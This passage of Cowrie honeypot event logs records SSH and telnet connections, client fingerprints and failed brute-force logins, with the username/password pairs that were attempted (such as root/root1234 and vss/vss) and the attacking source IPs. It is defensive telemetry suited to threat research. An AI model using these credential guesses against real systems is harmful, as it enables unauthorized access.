ssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:42.969482Z","src_ip":"43.153.54.120","session":"ac3f2d78bc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:43.271372Z","src_ip":"43.153.54.120","session":"ac3f2d78bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:44.341592Z","src_ip":"43.153.54.120","session":"ac3f2d78bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.3501513004303,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:47.187548Z","src_ip":"152.42.224.71","session":"e6ac8f918f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48914,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e31d731baee","protocol":"ssh","message":"New connection: 31.40.204.166:48914 (159.203.135.109:22) [session: 0e31d731baee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:47.879814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:47.884248Z","src_ip":"31.40.204.166","session":"0e31d731baee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:48.009406Z","src_ip":"31.40.204.166","session":"0e31d731baee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:48.505416Z","src_ip":"31.40.204.166","session":"0e31d731baee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":56890,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9af028266e9","protocol":"ssh","message":"New connection: 43.134.228.151:56890 (159.203.135.109:22) [session: e9af028266e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:49.496689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:49.501443Z","src_ip":"43.134.228.151","session":"e9af028266e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:49.680903Z","src_ip":"31.40.204.166","session":"0e31d731baee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:49.740496Z","src_ip":"43.134.228.151","session":"e9af028266e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:50.725867Z","src_ip":"43.134.228.151","session":"e9af028266e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:51.967880Z","src_ip":"43.134.228.151","session":"e9af028266e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60666,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4d4793adad","protocol":"telnet","message":"New connection: 152.42.224.71:60666 (10.17.0.5:23) [session: fe4d4793adad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:52.039702Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60682,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c2793fd545","protocol":"telnet","message":"New connection: 152.42.224.71:60682 (10.17.0.5:23) [session: 77c2793fd545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:52.446673Z"}
{"eventid":"cowrie.session.closed","duration":73.6168909072876,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:52.485191Z","src_ip":"152.42.224.71","session":"71ca5a3ffe24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60692,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f97ddc6a14","protocol":"telnet","message":"New connection: 152.42.224.71:60692 (10.17.0.5:23) [session: 99f97ddc6a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:57.312277Z"}
{"eventid":"cowrie.session.closed","duration":39.762107849121094,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:57.430966Z","src_ip":"152.42.224.71","session":"400c580cab39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.33965802192688,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:58.424993Z","src_ip":"152.42.224.71","session":"c83762497e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38346,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f61e265473","protocol":"ssh","message":"New connection: 31.40.204.166:38346 (159.203.135.109:22) [session: 74f61e265473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:59.585516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:59.592123Z","src_ip":"31.40.204.166","session":"74f61e265473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:59.718159Z","src_ip":"31.40.204.166","session":"74f61e265473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.134071588516235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:59.981111Z","src_ip":"152.42.224.71","session":"68787cf08de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71162939071655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:00.091643Z","src_ip":"152.42.224.71","session":"4857922e270a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:00.582814Z","src_ip":"31.40.204.166","session":"74f61e265473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:01.781828Z","src_ip":"31.40.204.166","session":"74f61e265473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60696,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2f0ffca1e5","protocol":"telnet","message":"New connection: 152.42.224.71:60696 (10.17.0.5:23) [session: cd2f0ffca1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:02.121399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1445841c854e","protocol":"telnet","message":"New connection: 152.42.224.71:60706 (10.17.0.5:23) [session: 1445841c854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:03.154783Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":58232,"dst_ip":"159.203.135.109","dst_port":22,"session":"b380e281a517","protocol":"ssh","message":"New connection: 103.183.114.55:58232 (159.203.135.109:22) [session: b380e281a517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:03.205940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:03.211398Z","src_ip":"103.183.114.55","session":"b380e281a517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:03.435954Z","src_ip":"103.183.114.55","session":"b380e281a517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60720,"dst_ip":"10.17.0.5","dst_port":23,"session":"3648d67f5452","protocol":"telnet","message":"New connection: 152.42.224.71:60720 (10.17.0.5:23) [session: 3648d67f5452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:03.951429Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastenka","message":"login attempt [root/nastenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:04.109557Z","src_ip":"103.183.114.55","session":"b380e281a517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60732,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9cdd3d11e12","protocol":"telnet","message":"New connection: 152.42.224.71:60732 (10.17.0.5:23) [session: e9cdd3d11e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:04.420077Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:05.337184Z","src_ip":"103.183.114.55","session":"b380e281a517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.90662598609924,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:06.727524Z","src_ip":"152.42.224.71","session":"dcb17d6fb9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadbc2dd0390","protocol":"ssh","message":"New connection: 94.230.136.33:42774 (159.203.135.109:22) [session: dadbc2dd0390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:07.347980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:07.354638Z","src_ip":"94.230.136.33","session":"dadbc2dd0390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:07.499546Z","src_ip":"94.230.136.33","session":"dadbc2dd0390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"61eb4409bb57","protocol":"telnet","message":"New connection: 152.42.224.71:35420 (10.17.0.5:23) [session: 61eb4409bb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:07.699532Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:08.102952Z","src_ip":"94.230.136.33","session":"dadbc2dd0390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:09.248478Z","src_ip":"94.230.136.33","session":"dadbc2dd0390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34814,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8f7042b535e","protocol":"ssh","message":"New connection: 31.40.204.166:34814 (159.203.135.109:22) [session: d8f7042b535e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:12.181418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:12.193958Z","src_ip":"31.40.204.166","session":"d8f7042b535e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:12.311332Z","src_ip":"31.40.204.166","session":"d8f7042b535e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:13.011122Z","src_ip":"31.40.204.166","session":"d8f7042b535e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.504379987716675,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:13.779624Z","src_ip":"152.42.224.71","session":"f605c8ac3dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:14.203026Z","src_ip":"31.40.204.166","session":"d8f7042b535e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35424,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b88669965a","protocol":"telnet","message":"New connection: 152.42.224.71:35424 (10.17.0.5:23) [session: 53b88669965a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:14.721139Z"}
{"eventid":"cowrie.session.closed","duration":60.909831047058105,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:14.726843Z","src_ip":"152.42.224.71","session":"d03608d46c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.926133155822754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:15.972781Z","src_ip":"152.42.224.71","session":"3879c6f4fde6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.731746912002563,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:16.683069Z","src_ip":"152.42.224.71","session":"3648d67f5452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":32374,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a85f180c3f9","protocol":"ssh","message":"New connection: 182.217.16.126:32374 (159.203.135.109:22) [session: 7a85f180c3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:20.348523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:20.353648Z","src_ip":"182.217.16.126","session":"7a85f180c3f9","protocol":"ssh"}
